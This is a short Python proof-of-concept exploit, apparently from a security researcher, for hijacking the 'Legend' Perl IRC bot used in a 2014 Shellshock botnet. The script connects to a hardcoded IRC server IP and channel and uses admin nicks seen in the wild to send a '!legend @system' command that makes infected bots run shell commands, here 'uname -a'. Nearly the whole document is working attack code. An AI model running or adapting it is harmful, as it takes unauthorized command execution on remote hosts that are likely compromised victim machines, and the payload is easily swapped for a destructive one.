# # legend_rce.py # Legend Perl IRC Bot Remote Code Execution PoC # author: Jay Turla ( @shipcod3 ) # description: This is a RCE PoC for Legend Bot which has been used in the Shellshock spam October 2014. # reference: http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html # greetz to ROOTCON (rootcon.org) goons # import socket import sys def usage(): print("USAGE: python legend_rce.py nick") print("Sample nicks found in the wild: god, ARZ, Zax, HackTech, TheChozen") def main(argv): if len(argv) < 2: return usage() #irc server connection settings botnick = sys.argv[1] #admin payload for taking over the Legend Bot server = "80.246.50.71" #irc server channel = "#Apache" #channel where the bot is located irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket print "connecting to:"+server irc.connect((server, 2015)) #connects to the server, you can change the port by changing 2015 for example :) irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :legend.rocks\n") #user authentication irc.send("NICK "+ botnick +"\n") #sets nick irc.send("JOIN "+ channel +"\n") #join the chan irc.send("PRIVMSG "+channel+" :!legend @system 'uname -a' \n") #send the payload to the bot while 1: #puts it in a loop text=irc.recv(2040) #receive the text print text #print text to console if text.find('PING') != -1: #check if 'PING' is found irc.send('PONG ' + text.split() [1] + '\r\n') #returns 'PONG' back to the server (prevents pinging out!) if text.find('!quit') != -1: #quit the Bot irc.send ("QUIT\r\n") sys.exit() if text.find('Linux') != -1: irc.send("PRIVMSG "+channel+" :The bot answers to "+botnick+" which allows command execution \r\n") irc.send ("QUIT\r\n") sys.exit() if __name__ == "__main__": main(sys.argv)